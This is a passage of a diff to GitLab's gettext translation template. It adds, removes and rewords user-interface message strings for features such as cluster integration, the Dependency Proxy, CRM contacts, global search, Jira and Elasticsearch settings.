-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -8290,9 +8464,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8593,6 +8764,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8647,6 +8821,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8704,9 +8881,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8743,6 +8917,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -9172,6 +9349,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -9184,6 +9367,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -9223,9 +9409,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9949,7 +10132,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -10105,6 +10288,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -10264,6 +10450,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -10297,9 +10486,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -10519,6 +10705,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10915,6 +11131,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11566,6 +11785,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11587,6 +11809,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11641,9 +11866,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11689,6 +11911,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11818,6 +12046,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11833,19 +12064,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
+msgstr ""
+
+msgid "DependencyProxy|There are no images in the cache"
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -12097,9 +12334,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -12337,7 +12571,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12616,6 +12850,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12787,6 +13024,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12877,9 +13117,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12913,6 +13150,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12991,9 +13231,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -13087,6 +13333,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -13102,6 +13351,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -13123,6 +13375,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -13222,9 +13477,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -13276,6 +13528,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -13297,6 +13552,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -13369,6 +13627,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -13543,6 +13804,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13630,16 +13897,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13879,9 +14143,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13930,9 +14191,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -14269,7 +14527,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -14455,9 +14713,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -14575,6 +14830,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14650,6 +14911,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14770,6 +15037,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14836,6 +15106,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14848,9 +15121,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -15298,6 +15568,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -15394,15 +15667,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -15481,6 +15745,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15694,6 +15961,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15799,9 +16069,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -16075,9 +16342,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -16249,6 +16513,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -16312,6 +16579,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -16483,6 +16753,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16630,7 +16945,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16687,6 +17014,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16951,7 +17281,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -17251,6 +17581,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -17428,7 +17764,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -17443,7 +17782,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -17542,6 +17884,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17815,7 +18160,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17854,6 +18199,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18643,7 +18991,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18808,9 +19159,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18874,6 +19222,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -19093,12 +19444,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -19216,6 +19573,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -19231,6 +19591,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -19261,7 +19627,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -19318,7 +19687,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -19456,22 +19825,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure CI/CD"
-msgstr ""
-
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -19486,9 +19852,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -19507,9 +19870,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
-msgid "InviteMembersModal|What would you like new member(s) to focus on? (optional)"
-msgstr ""
-
msgid "InviteMembersModal|You're inviting a group to the %{strongStart}%{name}%{strongEnd} group."
msgstr ""
@@ -19696,6 +20056,9 @@ msgstr ""
msgid "Issue first deployed to production"
msgstr ""
+msgid "Issue has been promoted to incident"
+msgstr ""
+
msgid "Issue label"
msgstr ""
@@ -19771,6 +20134,9 @@ msgstr ""
msgid "IssueBoards|Switch board"
msgstr ""
+msgid "IssueList|created %{timeAgoString} by %{user}"
+msgstr ""
+
msgid "IssueTracker|Custom issue tracker"
msgstr ""
@@ -19828,16 +20194,13 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues I've created"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
msgid "Issues and merge requests"
msgstr ""
-msgid "Issues assigned to me"
+msgid "Issues are being rebalanced at the moment, so manual reordering is disabled."
msgstr ""
msgid "Issues can be bugs, tasks or ideas to be discussed. Also, issues are searchable and filterable."
@@ -19846,9 +20209,6 @@ msgstr ""
msgid "Issues closed"
msgstr ""
-msgid "Issues manual ordering is temporarily disabled for technical reasons."
-msgstr ""
-
msgid "Issues must match this scope to appear in this list."
msgstr ""
@@ -19942,6 +20302,9 @@ msgstr ""
msgid "Iterations|Automated scheduling"
msgstr ""
+msgid "Iterations|Cadence configuration is invalid."
+msgstr ""
+
msgid "Iterations|Cadence name"
msgstr ""
@@ -19951,6 +20314,9 @@ msgstr ""
msgid "Iterations|Create cadence"
msgstr ""
+msgid "Iterations|Create cadence and start iteration"
+msgstr ""
+
msgid "Iterations|Create iteration"
msgstr ""
@@ -20047,9 +20413,15 @@ msgstr ""
msgid "Iterations|Title"
msgstr ""
+msgid "Iterations|Unable to find iteration cadence."
+msgstr ""
+
msgid "Iterations|Unable to find iteration."
msgstr ""
+msgid "Iterations|Unable to save cadence. Please try again."
+msgstr ""
+
msgid "Iteration|Dates cannot overlap with other existing Iterations within this group"
msgstr ""
@@ -20074,9 +20446,6 @@ msgstr ""
msgid "Japanese language support using"
msgstr ""
-msgid "Jira Issues"
-msgstr ""
-
msgid "Jira display name"
msgstr ""
@@ -20185,18 +20554,9 @@ msgstr ""
msgid "JiraService|Events for %{noteable_model_name} are disabled."
msgstr ""
-msgid "JiraService|Failed to load Jira issue statuses. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Failed to load Jira issue. View the issue in Jira, or reload the page."
msgstr ""
-msgid "JiraService|Failed to update Jira issue labels. View the issue in Jira, or reload the page."
-msgstr ""
-
-msgid "JiraService|Failed to update Jira issue status. View the issue in Jira, or reload the page."
-msgstr ""
-
msgid "JiraService|Fetch issue types for this Jira project"
msgstr ""
@@ -20215,18 +20575,12 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
-msgid "JiraService|Issue List"
-msgstr ""
-
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
msgid "JiraService|Jira API URL"
msgstr ""
-msgid "JiraService|Jira Issues"
-msgstr ""
-
msgid "JiraService|Jira comments are created when an issue is referenced in a commit."
msgstr ""
@@ -20236,6 +20590,9 @@ msgstr ""
msgid "JiraService|Jira issue type"
msgstr ""
+msgid "JiraService|Jira issues"
+msgstr ""
+
msgid "JiraService|Jira project key"
msgstr ""
@@ -20245,12 +20602,6 @@ msgstr ""
msgid "JiraService|Move to Done"
msgstr ""
-msgid "JiraService|No available statuses"
-msgstr ""
-
-msgid "JiraService|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}Jira%{linkEnd}."
-msgstr ""
-
msgid "JiraService|Open Jira"
msgstr ""
@@ -20281,9 +20632,6 @@ msgstr ""
msgid "JiraService|This is an Ultimate feature"
msgstr ""
-msgid "JiraService|This issue is synchronized with Jira"
-msgstr ""
-
msgid "JiraService|Transition Jira issues to their final state:"
msgstr ""
@@ -20581,6 +20929,9 @@ msgstr ""
msgid "Ki"
msgstr ""
+msgid "Kontra"
+msgstr ""
+
msgid "Kroki"
msgstr ""
@@ -20929,7 +21280,7 @@ msgstr ""
msgid "Learn more about groups."
msgstr ""
-msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced search configuration%{configuration_link_end} documentation. Changes won't take place until the index is %{recreated_link_start}recreated%{recreated_link_end}."
+msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
msgid "Learn more about signing commits"
@@ -21034,6 +21385,9 @@ msgstr ""
msgid "LearnGitLab|Use your new GitLab workflow to deploy your application, monitor its health, and keep it secure:"
msgstr ""
+msgid "LearnGitLab|Your team is growing! You've successfully invited new team members to the %{projectName} project."
+msgstr ""
+
msgid "LearnGitlab|Creating your onboarding experience..."
msgstr ""
@@ -21079,6 +21433,9 @@ msgstr ""
msgid "License Compliance"
msgstr ""
+msgid "License compliance"
+msgstr ""
+
msgid "License file"
msgstr ""
@@ -21241,9 +21598,6 @@ msgstr ""
msgid "Licenses|Detected licenses that are out-of-compliance with the project's assigned policies"
msgstr ""
-msgid "Licenses|Disallow Merge request if detected and will instruct the developer to remove"
-msgstr ""
-
msgid "Licenses|Displays licenses detected in the project, based on the %{linkStart}latest successful%{linkEnd} scan"
msgstr ""
@@ -21271,13 +21625,13 @@ msgstr ""
msgid "Licenses|The license list details information about the licenses used within your project."
msgstr ""
-msgid "Licenses|View license details for your project"
+msgid "Licenses|Unacceptable license, if detected it will disallow a merge request until it's removed"
msgstr ""
-msgid "Limit display of time tracking units to hours."
+msgid "Licenses|View license details for your project"
msgstr ""
-msgid "Limit namespaces and projects that can be indexed"
+msgid "Limit display of time tracking units to hours."
msgstr ""
msgid "Limit project size at a global, group, and project level. %{link_start}Learn more%{link_end}."
@@ -21295,6 +21649,9 @@ msgstr ""
msgid "Limit the number of issues and epics per minute a user can create through web and API requests."
msgstr ""
+msgid "Limit the number of namespaces and projects that can be indexed."
+msgstr ""
+
msgid "Limit the size of Sidekiq jobs stored in Redis."
msgstr ""
@@ -21514,7 +21871,7 @@ msgstr ""
msgid "MERGED"
msgstr ""
-msgid "MR widget|Back to the Merge request"
+msgid "MR widget|Back to the merge request"
msgstr ""
msgid "MR widget|See your pipeline in action"
@@ -21595,7 +21952,7 @@ msgstr ""
msgid "Manage applications that can use GitLab as an OAuth provider, and applications that you've authorized to use your account."
msgstr ""
-msgid "Manage applications that can use GitLab as an OAuth provider."
+msgid "Manage applications that use GitLab as an OAuth provider."
msgstr ""
msgid "Manage applications that you've authorized to use your account."
@@ -21808,6 +22165,9 @@ msgstr ""
msgid "Maximum Conan package file size in bytes"
msgstr ""
+msgid "Maximum Helm chart file size in bytes"
+msgstr ""
+
msgid "Maximum Maven package file size in bytes"
msgstr ""
